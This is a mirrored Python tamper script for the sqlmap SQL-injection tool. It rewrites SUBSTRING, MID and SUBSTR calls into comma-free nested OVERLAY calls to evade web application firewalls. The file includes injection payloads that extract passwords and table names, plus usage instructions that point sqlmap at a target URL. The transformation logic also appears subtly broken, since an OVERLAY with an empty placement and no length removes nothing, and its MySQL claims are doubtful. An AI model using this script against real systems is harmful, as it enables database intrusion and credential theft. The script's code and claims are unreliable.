mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-12-04 08:44:17 +03:00
Implements a tamper script that replaces SUBSTRING with OVERLAY function for SQL injection payloads, supporting PostgreSQL and MySQL styles.
154 lines
5.1 KiB
Python
154 lines
5.1 KiB
Python
#!/usr/bin/env python
|
|
|
|
"""
|
|
Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
|
|
See the file 'LICENSE' for copying permission
|
|
"""
|
|
|
|
import re
|
|
from lib.core.enums import PRIORITY
|
|
|
|
__priority__ = PRIORITY.NORMAL
|
|
|
|
def dependencies():
|
|
pass
|
|
|
|
def tamper(payload, **kwargs):
|
|
"""
|
|
Replaces SUBSTRING with OVERLAY function (without commas)
|
|
|
|
Tested against:
|
|
* PostgreSQL
|
|
* MySQL (limited support)
|
|
|
|
Notes:
|
|
* Replaces SUBSTRING(str, pos, len) with nested OVERLAY functions
|
|
* Works without comma characters in the query
|
|
* Useful for bypassing WAF filters that block commas
|
|
|
|
>>> tamper('SUBSTRING((SELECT password FROM users LIMIT 1) FROM 3 FOR 1)')
|
|
'OVERLAY(OVERLAY((SELECT password FROM users LIMIT 1) PLACING \\'\\' FROM 1 FOR 2) PLACING \\'\\' FROM 2)'
|
|
|
|
>>> tamper('SUBSTRING(username FROM 1 FOR 1)')
|
|
'OVERLAY(username PLACING \\'\\' FROM 2)'
|
|
|
|
>>> tamper('SUBSTRING(password,5,1)')
|
|
'OVERLAY(OVERLAY(password PLACING \\'\\' FROM 1 FOR 4) PLACING \\'\\' FROM 2)'
|
|
"""
|
|
|
|
retVal = payload
|
|
|
|
if payload:
|
|
# Pattern 1: SUBSTRING(string FROM position FOR length)
|
|
# PostgreSQL style
|
|
pattern1 = r'SUBSTRING\s*\(\s*(.+?)\s+FROM\s+(\d+)\s+FOR\s+(\d+)\s*\)'
|
|
|
|
def replace_postgres_style(match):
|
|
string = match.group(1)
|
|
position = int(match.group(2))
|
|
length = int(match.group(3))
|
|
|
|
# Only handle single character extraction (length = 1)
|
|
if length != 1:
|
|
return match.group(0)
|
|
|
|
if position == 1:
|
|
# Special case: first character
|
|
return f"OVERLAY({string} PLACING '' FROM 2)"
|
|
else:
|
|
# General case: position > 1
|
|
return f"OVERLAY(OVERLAY({string} PLACING '' FROM 1 FOR {position - 1}) PLACING '' FROM 2)"
|
|
|
|
retVal = re.sub(pattern1, replace_postgres_style, retVal, flags=re.IGNORECASE)
|
|
|
|
# Pattern 2: SUBSTRING(string, position, length)
|
|
# MySQL/Standard style with commas
|
|
pattern2 = r'SUBSTRING\s*\(\s*(.+?)\s*,\s*(\d+)\s*,\s*(\d+)\s*\)'
|
|
|
|
def replace_mysql_style(match):
|
|
string = match.group(1)
|
|
position = int(match.group(2))
|
|
length = int(match.group(3))
|
|
|
|
# Only handle single character extraction (length = 1)
|
|
if length != 1:
|
|
return match.group(0)
|
|
|
|
if position == 1:
|
|
return f"OVERLAY({string} PLACING '' FROM 2)"
|
|
else:
|
|
return f"OVERLAY(OVERLAY({string} PLACING '' FROM 1 FOR {position - 1}) PLACING '' FROM 2)"
|
|
|
|
retVal = re.sub(pattern2, replace_mysql_style, retVal, flags=re.IGNORECASE)
|
|
|
|
# Pattern 3: MID(string, position, length) - MySQL alternative
|
|
pattern3 = r'MID\s*\(\s*(.+?)\s*,\s*(\d+)\s*,\s*(\d+)\s*\)'
|
|
retVal = re.sub(pattern3, replace_mysql_style, retVal, flags=re.IGNORECASE)
|
|
|
|
# Pattern 4: SUBSTR(string, position, length) - Another alternative
|
|
pattern4 = r'SUBSTR\s*\(\s*(.+?)\s*,\s*(\d+)\s*,\s*(\d+)\s*\)'
|
|
retVal = re.sub(pattern4, replace_mysql_style, retVal, flags=re.IGNORECASE)
|
|
|
|
return retVal
|
|
|
|
|
|
# Test cases for validation
|
|
if __name__ == "__main__":
|
|
test_cases = [
|
|
# PostgreSQL style
|
|
"SUBSTRING((SELECT password FROM users LIMIT 1) FROM 3 FOR 1)",
|
|
"SUBSTRING(username FROM 1 FOR 1)",
|
|
"SUBSTRING(database() FROM 5 FOR 1)",
|
|
|
|
# MySQL style
|
|
"SUBSTRING(password,5,1)",
|
|
"SUBSTRING((SELECT table_name FROM information_schema.tables LIMIT 1),1,1)",
|
|
"MID(username,3,1)",
|
|
"SUBSTR(password,2,1)",
|
|
|
|
# Complex queries
|
|
"AND ASCII(SUBSTRING((SELECT password FROM users WHERE id=1),1,1))>65",
|
|
"UNION SELECT SUBSTRING(table_name FROM 1 FOR 1) FROM information_schema.tables",
|
|
|
|
# Edge cases
|
|
"SUBSTRING(col FROM 1 FOR 1)",
|
|
"SUBSTRING(col,1,1)",
|
|
]
|
|
|
|
print("=== SQLMAP TAMPER SCRIPT TEST ===\n")
|
|
|
|
for i, test in enumerate(test_cases, 1):
|
|
result = tamper(test)
|
|
print(f"Test {i}:")
|
|
print(f" Original: {test}")
|
|
print(f" Tampered: {result}")
|
|
print()
|
|
|
|
print("\n=== USAGE INSTRUCTIONS ===")
|
|
print("""
|
|
1. Save this script as 'overlay.py' in SQLMap's tamper directory:
|
|
/path/to/sqlmap/tamper/overlay.py
|
|
|
|
2. Run SQLMap with the tamper script:
|
|
python sqlmap.py -u "http://target.com/page?id=1" --tamper=overlay
|
|
|
|
3. Combine with other tampers:
|
|
python sqlmap.py -u "http://target.com/page?id=1" --tamper=overlay,space2comment
|
|
|
|
4. Use with specific DBMS:
|
|
python sqlmap.py -u "http://target.com/page?id=1" --tamper=overlay --dbms=postgresql
|
|
|
|
5. Test the tamper:
|
|
python overlay.py
|
|
|
|
Example transformation:
|
|
Before: SUBSTRING(password,3,1)
|
|
After: OVERLAY(OVERLAY(password PLACING '' FROM 1 FOR 2) PLACING '' FROM 2)
|
|
|
|
Benefits:
|
|
✓ No comma characters in the query
|
|
✓ Bypasses WAF filters blocking SUBSTRING
|
|
✓ Works with PostgreSQL OVERLAY function
|
|
✓ Supports nested subqueries
|
|
""")
|